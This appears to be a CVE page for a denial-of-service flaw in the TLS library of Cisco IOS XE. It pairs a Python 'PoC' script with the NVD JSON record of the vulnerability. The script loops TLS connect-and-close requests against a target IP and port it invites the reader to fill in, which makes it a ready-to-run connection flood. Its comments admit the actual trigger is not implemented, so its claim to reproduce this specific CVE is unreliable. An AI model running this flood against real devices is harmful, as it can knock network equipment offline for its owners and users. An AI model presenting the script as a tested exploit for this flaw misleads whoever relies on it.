CVE-2026-20004

# PoC Concept for CVE-2026-20004 # This script demonstrates the concept of triggering memory exhaustion # by repeatedly resetting TLS connections. import socket import ssl import time def trigger_vulnerability(target_ip, target_port): print(f"[*] Starting attack simulation against {target_ip}:{target_port}") count = 0 while True: try: # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) # Wrap socket with SSL/TLS context context = ssl.create_default_context() # Note: In a real scenario, specific handshake manipulation might be needed # This simulates the connection attempt ssock = context.wrap_socket(sock, server_hostname=target_ip) ssock.connect((target_ip, target_port)) # Simulate the condition causing memory increase (e.g., incomplete handshake or reset) # Here we close abruptly or send specific payloads to simulate the trigger ssock.close() sock.close() count += 1 if count % 100 == 0: print(f"[*] Sent {count} connection requests...") # Small delay to prevent immediate rate limiting if any, though DoS aims for speed time.sleep(0.01) except Exception as e: print(f"[!] Error occurred: {e}") break if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.1" TARGET_PORT = 443 trigger_vulnerability(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-20004", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:10.520", "lastModified": "2026-03-26T15:13:33.940", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the TLS library of Cisco IOS XE Software could allow an unauthenticated, adjacent attacker to exhaust the available memory of an affected device.\r\n\r This vulnerability is due to improper management of memory resources during TLS connection setup. An attacker could exploit this vulnerability by repeatedly triggering the conditions that cause the memory increase. This could be done in a variety of ways, such as by repeatedly attempting Extensible Authentication Protocol (EAP) authentication when local EAP is enabled on an affected device or by using a machine-in-the-middle attack and resetting TLS connections between the affected device and other devices. A successful exploit could allow the attacker to exhaust the available memory on an affected device, resulting in an unexpected reload and a denial of service (DoS) condition."}, {"lang": "es", "value": "Una vulnerabilidad en la biblioteca TLS del software Cisco IOS XE podría permitir a un atacante adyacente no autenticado agotar la memoria disponible de un dispositivo afectado. Esta vulnerabilidad se debe a una gestión inadecuada de los recursos de memoria durante la configuración de la conexión TLS. Un atacante podría explotar esta vulnerabilidad desencadenando repetidamente las condiciones que causan el aumento de memoria. Esto podría hacerse de varias maneras, como intentando repetidamente la autenticación del Protocolo de Autenticación Extensible (EAP) cuando el EAP local está habilitado en un dispositivo afectado o utilizando un ataque de intermediario y restableciendo las conexiones TLS entre el dispositivo afectado y otros dispositivos. Un exploit exitoso podría permitir al atacante agotar la memoria disponible en un dispositivo afectado, lo que resultaría en una recarga inesperada y una condición de denegación de servicio (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-771"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-tls-dos-TVgLDEZL", "source": "[email protected]"}]}}